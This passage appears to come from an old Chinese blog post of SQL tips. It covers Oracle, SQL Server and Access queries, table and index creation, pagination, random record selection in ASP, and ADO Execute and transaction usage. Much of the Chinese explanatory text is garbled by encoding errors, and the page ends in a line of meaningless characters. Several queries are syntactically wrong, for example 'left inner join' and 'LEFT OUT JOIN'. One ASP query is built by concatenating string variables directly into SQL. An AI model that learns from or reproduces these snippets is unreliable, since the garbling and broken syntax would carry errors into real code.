       FROM (SELECT NUM, UPD_DATE, INBOUND_QTY, STOCK_ONHAND

       FROM TABLE2

       WHERE TO_CHAR(UPD_DATE,'YYYY/MM') = TO_CHAR(SYSDATE, 'YYYY/MM')) X,

       (SELECT NUM, UPD_DATE, STOCK_ONHAND

       FROM TABLE2

       WHERE TO_CHAR(UPD_DATE,'YYYY/MM') =

       TO_CHAR(TO_DATE(TO_CHAR(SYSDATE, 'YYYY/MM') &brvbar;&brvbar; '/01','YYYY/MM/DD') - 1, 'YYYY/MM') Y,

       WHERE X.NUM = Y.NUM Q?Q?

       AND X.INBOUND_QTY + NVL(Y.STOCK_ONHAND,0) <> X.STOCK_ONHAND B

      WHERE A.NUM = B.NUM

      说明Q?-

      SQL:   

      select * from studentinfo where not exists(select * from student where studentinfo.id=student.id) and pdU?'"&strdepartmentname&"' and 专业名称='"&strprofessionname&"' order by 性别,生源?高考Ll?

      说明Q?

      从数据库中去一q的各单位电话费l计(电话费定额贺电化肥清单两个表来源Q?

      SQL:  

      SELECT a.userper, a.tel, a.standfee, TO_CHAR(a.telfeedate, 'yyyy') AS telyear,

       SUM(decode(TO_CHAR(a.telfeedate, '
    mm '), '01', a.factration)) AS JAN,

       SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '02', a.factration)) AS FRI,

       SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '03', a.factration)) AS MAR,

       SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '04', a.factration)) AS APR,

       SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '05', a.factration)) AS MAY,

       SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '06', a.factration)) AS JUE,

       SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '07', a.factration)) AS JUL,

       SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '08', a.factration)) AS AGU,

       SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '09', a.factration)) AS SEP,

       SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '10', a.factration)) AS OCT,

       SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '11', a.factration)) AS NOV,

       SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '12', a.factration)) AS DEC

      FROM (SELECT a.userper, a.tel, a.standfee, b.telfeedate, b.factration

       FROM TELFEESTAND a, TELFEE b

       WHERE a.tel = b.telfax) a

      GROUP BY a.userper, a.tel, a.standfee, TO_CHAR(a.telfeedate, 'yyyy')

      说明Q四表联查问题:  

      SQL: select * from a left inner join b on a.a=b.b right inner join c on a.a=c.c inner join d on a.a=d.d where .....

      说明Q得到表中最的未用的ID?

      SQL: 

      SELECT (CASE WHEN EXISTS(SELECT * FROM Handle b WHERE b.HandleID = 1) THEN MIN(HandleID) + 1 ELSE 1 END) as HandleID

       FROM Handle

       WHERE NOT HandleID IN (SELECT a.HandleID - 1 FROM Handle a)


    下列语句部分是Mssql语句Q不可以在access中用?br />
    SQL分类Q?
    DDL—数据定义语a(CREATEQALTERQDROPQDECLARE)
    DML—数据操U语a(SELECTQDELETEQUPDATEQINSERT)
    DCL—数据控制语a(GRANTQREVOKEQCOMMITQROLLBACK)

    首先,要介l基语句Q?br />1、说明:创徏数据?br />CREATE DATABASE database-name
    2、说明:删除数据?br />drop database dbname
    3、说明:备䆾sql server
    --- 创徏 备䆾数据?device
    USE master
    EXEC sp_addumpdevice 'disk', 'testBack', 'c:\mssql7backup\MyNwind_1.dat'
    --- 开?备䆾
    BACKUP DATABASE pubs TO testBack
    4、说明:创徏新表
    create table tabname(col1 type1 [not null] [primary key],col2 type2 [not null],..)
    Ҏ已有的表创徏新表Q?
    AQcreate table tab_new like tab_old (使用旧表创徏新表)
    BQcreate table tab_new as select col1,col2?from tab_old definition only
    5、说明:删除新表drop table tabname
    6、说明:增加一个列
    Alter table tabname add column col type
    注:列增加后不能删除。DB2中列加上后数据类型也不能改变Q唯一能改变的是增加varcharcd的长度?br />7、说明:d主键Q?Alter table tabname add primary key(col)
    说明Q删除主键: Alter table tabname drop primary key(col)
    8、说明:创徏索引Qcreate [unique] index idxname on tabname(col?)
    删除索引Qdrop index idxname
    注:索引是不可更改的Q想更改必须删除重新建?br />9、说明:创徏视图Qcreate view viewname as select statement
    删除视图Qdrop view viewname
    10、说明:几个单的基本的sql语句
    选择Qselect * from table1 where 范围
    插入Qinsert into table1(field1,field2) values(value1,value2)
    删除Qdelete from table1 where 范围
    更新Qupdate table1 set field1=value1 where 范围
    查找Qselect * from table1 where field1 like ?value1%?---like的语法很_֦Q查资料!
    排序Qselect * from table1 order by field1,field2 [desc]
    LQselect count * as totalcount from table1
    求和Qselect sum(field1) as sumvalue from table1
    q_Qselect avg(field1) as avgvalue from table1
    最大:select max(field1) as maxvalue from table1
    最:select min(field1) as minvalue from table1
    11、说明:几个高查询q算?br />AQ?UNION q算W?
    UNION q算W通过l合其他两个l果表(例如 TABLE1 ?TABLE2Qƈ消去表中M重复行而派生出一个结果表。当 ALL ?UNION 一起用时Q即 UNION ALLQ,不消除重复行。两U情况下Q派生表的每一行不是来?TABLE1 是来自 TABLE2?
    BQ?EXCEPT q算W?
    EXCEPT q算W通过包括所有在 TABLE1 中但不在 TABLE2 中的行ƈ消除所有重复行而派生出一个结果表。当 ALL ?EXCEPT 一起用时 (EXCEPT ALL)Q不消除重复行?
    CQ?INTERSECT q算W?br />INTERSECT q算W通过只包?TABLE1 ?TABLE2 中都有的行ƈ消除所有重复行而派生出一个结果表。当 ALL ?INTERSECT 一起用时 (INTERSECT ALL)Q不消除重复行?
    注:使用q算词的几个查询l果行必L一致的?
    12、说明:使用外连?
    A、left outer joinQ?
    左外q接Q左q接Q:l果集几包括q接表的匚w行,也包括左q接表的所有行?
    SQL: select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c
    BQright outer join:
    叛_q接(双?Q结果集既包括连接表的匹配连接行Q也包括双接表的所有行?
    CQfull outer joinQ?
    全外q接Q不仅包括符可接表的匹配行Q还包括两个q接表中的所有记录?br />
    其次Q大家来看一些不错的sql语句
    1、说明:复制?只复制结?源表名:a 新表名:b) (Access可用)
    法一Qselect * into b from a where 1<>1
    法二Qselect top 0 * into b from a

    2、说明:拯?拯数据,源表名:a 目标表名Qb) (Access可用)
    insert into b(a, b, c) select d,e,f from b;

    3、说明:跨数据库之间表的拯(具体数据使用l对路径) (Access可用)
    insert into b(a, b, c) select d,e,f from b in ‘具体数据库?where 条g
    例子Q?.from b in '"&Server.MapPath(".")&"\data.mdb" &"' where..

    4、说明:子查?表名1Qa 表名2Qb)
    select a,b,c from a where a IN (select d from b ) 或? select a,b,c from a where a IN (1,2,3)

    5、说明:昄文章、提交h和最后回复时?br />select a.title,a.username,b.adddate from table a,(select max(adddate) adddate from table where table.title=a.title) b

    6、说明:外连接查?表名1Qa 表名2Qb)
    select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c

    7、说明:在线视图查询(表名1Qa )
    select * from (SELECT a,b,c FROM a) T where t.a > 1;

    8、说明:between的用?between限制查询数据范围时包括了边界?not between不包?br />select * from table1 where time between time1 and time2
    select a,b,c, from table1 where a not between 数? and 数?

    9、说明:in 的用方?br />select * from table1 where a [not] in (‘??’??’??’??

    10、说明:两张兌表,删除主表中已l在副表中没有的信息
    delete from table1 where not exists ( select * from table2 where table1.field1=table2.field1 )

    11、说明:四表联查问题Q?br />select * from a left inner join b on a.a=b.b right inner join c on a.a=c.c inner join d on a.a=d.d where .....

    12、说明:日程安排提前五分钟提?
    SQL: select * from 日程安排 where datediff('minute',f开始时?getdate())>5

    13、说明:一条sql 语句搞定数据库分?br />select top 10 b.* from (select top 20 主键字段,排序字段 from 表名 order by 排序字段 desc) a,表名 b where b.主键字段 = a.主键字段 order by a.排序字段

    14、说明:?0条记?br />select top 10 * form table1 where 范围

    15、说明:选择在每一lb值相同的数据中对应的a最大的记录的所有信?cMq样的用法可以用于论坛每月排行榜,每月热销产品分析,按科目成l排?{等.)
    select a,b,c from tablename ta where a=(select max(a) from tablename tb where tb.b=ta.b)

    16、说明:包括所有在 TableA 中但不在 TableB和TableC 中的行ƈ消除所有重复行而派生出一个结果表
    (select a from tableA ) except (select a from tableB) except (select a from tableC)

    17、说明:随机取出10条数?br />select top 10 * from tablename order by newid()

    18、说明:随机选择记录
    select newid()

    19、说明:删除重复记录
    Delete from tablename where id not in (select max(id) from tablename group by col1,col2,...)

    20、说明:列出数据库里所有的表名
    select name from sysobjects where type='U'

    21、说明:列出表里的所有的
    select name from syscolumns where id=object_id('TableName')

    22、说明:列示type、vender、pcs字段Q以type字段排列Qcase可以方便地实现多重选择Q类似select 中的case?br />select type,sum(case vender when 'A' then pcs else 0 end),sum(case vender when 'C' then pcs else 0 end),sum(case vender when 'B' then pcs else 0 end) FROM tablename group by type
    昄l果Q?br />type vender pcs
    电脑 A 1
    电脑 A 1
    光盘 B 2
    光盘 A 2
    手机 B 3
    手机 C 3

    23、说明:初始化表table1
    TRUNCATE TABLE table1

    24、说明:选择?0?5的记?br />select top 5 * from (select top 15 * from table order by id asc) table_别名 order by id desc
      
    随机选择数据库记录的ҎQ用Randomize函数Q通过SQL语句实现Q?br />  对存储在数据库中的数据来_随机数特性能l出上面的效果,但它们可能太慢了些。你不能要求ASP“找个随机数”然后打印出来。实际上常见的解x案是建立如下所C的循环Q?
    Randomize
    RNumber = Int(Rnd*499) +1
     
    While Not objRec.EOF
    If objRec("ID") = RNumber THEN
    ... q里是执行脚?...
    end if
    objRec.MoveNext
    Wend
     
      q很Ҏ理解。首先,你取??00范围之内的一个随机数Q假?00是数据库内记录的LQ。然后,你遍历每一记录来测试ID 的倹{检查其是否匚wRNumber。满x件的话就执行由THEN 关键字开始的那一块代码。假如你的RNumber {于495Q那么要循环一遍数据库q旉可就长了。虽?00q个数字看v来大了些Q但相比更ؓE_的企业解x案这q是个小型数据库了,后者通常在一个数据库内就包含了成千上万条记录。这时候不死定了Q?
      采用SQLQ你可以很快地扑և准确的记录ƈ且打开一个只包含该记录的recordsetQ如下所C:
    Randomize
    RNumber = Int(Rnd*499) + 1
     
    SQL = "SELECT * FROM Customers WHERE ID = " & RNumber
     
    set objRec = ObjConn.Execute(SQL)
    Response.WriteRNumber & " = " & objRec("ID") & " " & objRec("c_email")
     
      不必写出RNumber 和IDQ你只需要检查匹配情况即可。只要你对以上代码的工作满意Q你自可按需操作“随机”记录。Recordset没有包含其他内容Q因此你很快p扑ֈ你需要的记录q样大大降低了处理旉?
    再谈随机?
      现在你下定决心要榨干Random 函数的最后一滴aQ那么你可能会一ơ取出多条随录或者想采用一定随围内的记录。把上面的标准Random CZ扩展一下就可以用SQL应对上面两种情况了?
      Z取出几条随机选择的记录ƈ存放在同一recordset内,你可以存储三个随机数Q然后查询数据库获得匚wq些数字的记录:
    SQL = "SELECT * FROM Customers WHERE ID = " & RNumber & " OR ID = " & RNumber2 & " OR ID = " & RNumber3
     
      假如你想选出10条记录(也许是每ơ页面装载时?0条链接的列表Q,你可以用BETWEEN 或者数学等式选出W一条记录和适当数量的递增记录。这一操作可以通过好几U方式来完成Q但?SELECT 语句只显CZU可能(q里的ID 是自动生成的LQ:
    SQL = "SELECT * FROM Customers WHERE ID BETWEEN " & RNumber & " AND " & RNumber & "+ 9"

      注意Q以上代码的执行目的不是查数据库内是否有9条ƈ发记录?br />
     
    随机d若干条记录,试q?br />Access语法QSELECT top 10 * From 表名 ORDER BY Rnd(id)
    Sql server:select top n * from 表名 order by newid()
    mysqlelect * From 表名 Order By rand() Limit n
    Access左连接语?最q开发要用左q接,Access帮助什么都没有,|上没有Access的SQL说明,只有自己试, 现在C以备后查)
    语法elect table1.fd1,table1,fd2,table2.fd2 From table1 left join table2 on table1.fd1,table2.fd1 where ...
    使用SQL语句 ?..代替q长的字W串昄
    语法Q?br />SQL数据库:select case when len(field)>10 then left(field,10)+'...' else field end as news_name,news_id from tablename
    Access数据库:SELECT iif(len(field)>2,left(field,2)+'...',field) FROM tablename;
     
    Conn.Execute说明
    ExecuteҎ
      该方法用于执行SQL语句。根据SQL语句执行后是否返回记录集Q该Ҏ的用格式分Z下两U:
        1Q执行SQL查询语句Ӟ返回查询得到的记录集。用法ؓQ?br />    Set 对象变量?q接对象.Execute("SQL 查询语言")
       ExecuteҎ调用后,会自动创录集对象Qƈ查询结果存储在该记录对象中Q通过SetҎQ将记录集赋l指定的对象保存Q以后对象变量就代表了该记录集对象?br />
        2Q执行SQL的操作性语aӞ没有记录集的q回。此时用法ؓQ?br />    q接对象.Execute "SQL 操作性语? [, RecordAffected][, Option]
          ·RecordAffected 为可选项Q此出可攄一个变量,SQL语句执行后,所生效的记录数会自动保存到该变量中。通过讉K该变量,可知道SQL语句队多条记录q行了操作?br />      ·Option 可选项Q该参数的取值通常为adCMDTextQ它用于告诉ADOQ应该将ExecuteҎ之后的第一个字W解释ؓ命o文本。通过指定该参敎ͼ可执行更高效?br />
    ·BeginTrans、RollbackTrans、CommitTransҎ
      q三个方法是q接对象提供的用于事务处理的Ҏ。BeginTrans用于开始一个事物;RollbackTrans用于回滚事务QCommitTrans用于提交所有的事务处理l果Q即认事务的处理?br />  事务处理可以一l操作视Z个整体,只有全部语句都成功执行后Q事务处理才成功;若其中有一个语句执行失败,则整个处理就失败,q恢复到处里前的状态?br />  BeginTrans和CommitTrans用于标记事务的开始和l束Q在q两个之间的语句Q就是作Z务处理的语句。判断事务处理是否成功,可通过q接对象的Error集合来实玎ͼ若Error集合的成员个C?Q则说明有错误发生,事务处理p|。Error集合中的每一个Error对象Q代表一个错误信息?/div>

    liaojiyong 2006-05-24 18:51 发表评论
    ]]>
    վ֩ģ壺 ɽ| | μ| Զ| | ʯɽ| ²| | ٲ| | | | ͺ| | | ƽɽ| Ϫ| ʯ| ²| | ̨| | ˮ| ء| Զ| ̨| | Ӧ| | | | | | ɽ| | | ָ| ƽ| | ƽ| |